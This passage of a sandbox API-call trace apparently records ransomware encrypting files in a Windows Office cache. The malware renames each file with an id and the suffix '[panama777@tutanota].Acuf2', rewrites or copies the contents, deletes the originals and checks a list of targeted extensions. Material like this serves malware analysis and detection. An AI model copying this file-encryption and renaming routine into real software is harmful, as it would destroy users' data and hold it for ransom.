	[0047.276] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.276] lstrlenW (lpString=".1cd") returned 4
	[0047.276] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.276] lstrlenW (lpString=".jpg") returned 4
	[0047.276] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.276] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0047.276] lstrlenW (lpString="GrooveMUI.msi") returned 13
	[0047.276] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.277] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2507776) returned 1
	[0047.277] CloseHandle (hObject=0x160) returned 1
	[0047.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020
	[0047.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.277] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0047.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.277] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0047.278] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.278] ReadFile (in: hFile=0x160, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.338] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.339] ReadFile (in: hFile=0x160, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.411] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0047.412] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0047.412] ReadFile (in: hFile=0x160, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.430] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.430] WriteFile (in: hFile=0x160, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0106, lpOverlapped=0x0) returned 1
	[0047.781] SetEndOfFile (hFile=0x160) returned 1
	[0047.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0047.785] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.785] WriteFile (in: hFile=0x160, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.787] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.787] WriteFile (in: hFile=0x160, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.793] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.793] WriteFile (in: hFile=0x160, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0047.796] CloseHandle (hObject=0x160) returned 1
	[0047.796] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.796] lstrlenW (lpString=".doc") returned 4
	[0047.796] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0047.796] lstrlenW (lpString=".docx") returned 5
	[0047.796] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0047.796] lstrlenW (lpString=".pdf") returned 4
	[0047.796] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0047.797] lstrlenW (lpString=".xls") returned 4
	[0047.797] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0047.797] lstrlenW (lpString=".xlsx") returned 5
	[0047.797] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0047.797] lstrlenW (lpString=".ppt") returned 4
	[0047.797] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0047.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.797] lstrlenW (lpString=".zip") returned 4
	[0047.797] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0047.797] lstrlenW (lpString=".rar") returned 4
	[0047.797] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0047.797] lstrlenW (lpString=".bz2") returned 4
	[0047.797] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0047.797] lstrlenW (lpString=".7z") returned 3
	[0047.797] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0047.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.797] lstrlenW (lpString=".dbf") returned 4
	[0047.797] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0047.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.797] lstrlenW (lpString=".1cd") returned 4
	[0047.798] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0047.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.798] lstrlenW (lpString=".jpg") returned 4
	[0047.798] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0047.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.798] lstrlenW (lpString=".doc") returned 4
	[0047.798] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0047.798] lstrlenW (lpString=".docx") returned 5
	[0047.798] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0047.798] lstrlenW (lpString=".pdf") returned 4
	[0047.798] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0047.798] lstrlenW (lpString=".xls") returned 4
	[0047.798] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0047.798] lstrlenW (lpString=".xlsx") returned 5
	[0047.798] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0047.798] lstrlenW (lpString=".ppt") returned 4
	[0047.798] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0047.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.798] lstrlenW (lpString=".zip") returned 4
	[0047.798] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0047.798] lstrlenW (lpString=".rar") returned 4
	[0047.798] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0047.798] lstrlenW (lpString=".bz2") returned 4
	[0047.798] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0047.798] lstrlenW (lpString=".7z") returned 3
	[0047.798] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0047.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.798] lstrlenW (lpString=".dbf") returned 4
	[0047.798] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0047.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.799] lstrlenW (lpString=".1cd") returned 4
	[0047.799] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0047.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76
	[0047.799] lstrlenW (lpString=".jpg") returned 4
	[0047.799] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0047.799] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0047.799] lstrlenW (lpString="dwtrig20.exe") returned 12
	[0047.799] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.965] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=519584) returned 1
	[0047.965] CloseHandle (hObject=0x1a4) returned 1
	[0047.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020
	[0047.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0047.966] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.966] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0048.688] GetLastError () returned 0x0
	[0048.688] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x7eda0, lpOverlapped=0x0) returned 1
	[0048.836] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x7edb0, lpOverlapped=0x0) returned 1
	[0048.846] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.846] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.846] SetEndOfFile (hFile=0x1e0) returned 1
	[0048.847] CloseHandle (hObject=0x1e0) returned 1
	[0048.847] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.847] SetEndOfFile (hFile=0x1a4) returned 1
	[0048.851] CloseHandle (hObject=0x1a4) returned 1
	[0048.851] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.851] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString=".doc") returned 4
	[0048.852] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0048.852] lstrlenW (lpString=".docx") returned 5
	[0048.852] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0048.852] lstrlenW (lpString=".pdf") returned 4
	[0048.852] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0048.852] lstrlenW (lpString=".xls") returned 4
	[0048.852] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0048.852] lstrlenW (lpString=".xlsx") returned 5
	[0048.852] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0048.852] lstrlenW (lpString=".ppt") returned 4
	[0048.852] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString=".zip") returned 4
	[0048.852] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0048.852] lstrlenW (lpString=".rar") returned 4
	[0048.852] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0048.852] lstrlenW (lpString=".bz2") returned 4
	[0048.852] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0048.852] lstrlenW (lpString=".7z") returned 3
	[0048.852] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString=".dbf") returned 4
	[0048.852] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString=".1cd") returned 4
	[0048.852] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0048.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.852] lstrlenW (lpString=".jpg") returned 4
	[0048.853] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.853] lstrlenW (lpString=".doc") returned 4
	[0048.853] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0048.853] lstrlenW (lpString=".docx") returned 5
	[0048.853] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0048.853] lstrlenW (lpString=".pdf") returned 4
	[0048.853] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString=".xls") returned 4
	[0048.853] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString=".xlsx") returned 5
	[0048.853] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0048.853] lstrlenW (lpString=".ppt") returned 4
	[0048.853] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.853] lstrlenW (lpString=".zip") returned 4
	[0048.853] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString=".rar") returned 4
	[0048.853] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0048.853] lstrlenW (lpString=".bz2") returned 4
	[0048.853] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0048.853] lstrlenW (lpString=".7z") returned 3
	[0048.853] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.853] lstrlenW (lpString=".dbf") returned 4
	[0048.853] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.853] lstrlenW (lpString=".1cd") returned 4
	[0048.853] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0048.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75
	[0048.854] lstrlenW (lpString=".jpg") returned 4
	[0048.854] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0048.854] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0048.854] lstrlenW (lpString="osetupui.dll") returned 12
	[0048.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.854] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=191872) returned 1
	[0048.854] CloseHandle (hObject=0x1a4) returned 1
	[0048.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020
	[0048.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.854] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.855] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0048.855] GetLastError () returned 0x0
	[0048.855] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x2ed80, lpOverlapped=0x0) returned 1
	[0048.932] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x2ed90, lpOverlapped=0x0) returned 1
	[0048.939] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.939] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.939] SetEndOfFile (hFile=0x1e0) returned 1
	[0048.939] CloseHandle (hObject=0x1e0) returned 1
	[0048.939] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.939] SetEndOfFile (hFile=0x1a4) returned 1
	[0048.941] CloseHandle (hObject=0x1a4) returned 1
	[0048.941] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0048.941] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1
	[0048.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.942] lstrlenW (lpString=".doc") returned 4
	[0048.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString=".docx") returned 5
	[0048.942] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0048.942] lstrlenW (lpString=".pdf") returned 4
	[0048.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString=".xls") returned 4
	[0048.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString=".xlsx") returned 5
	[0048.942] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0048.942] lstrlenW (lpString=".ppt") returned 4
	[0048.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0048.942] lstrlenW (lpString=".zip") returned 4
	[0048.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString=".rar") returned 4
	[0048.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0048.942] lstrlenW (lpString=".bz2") returned 4
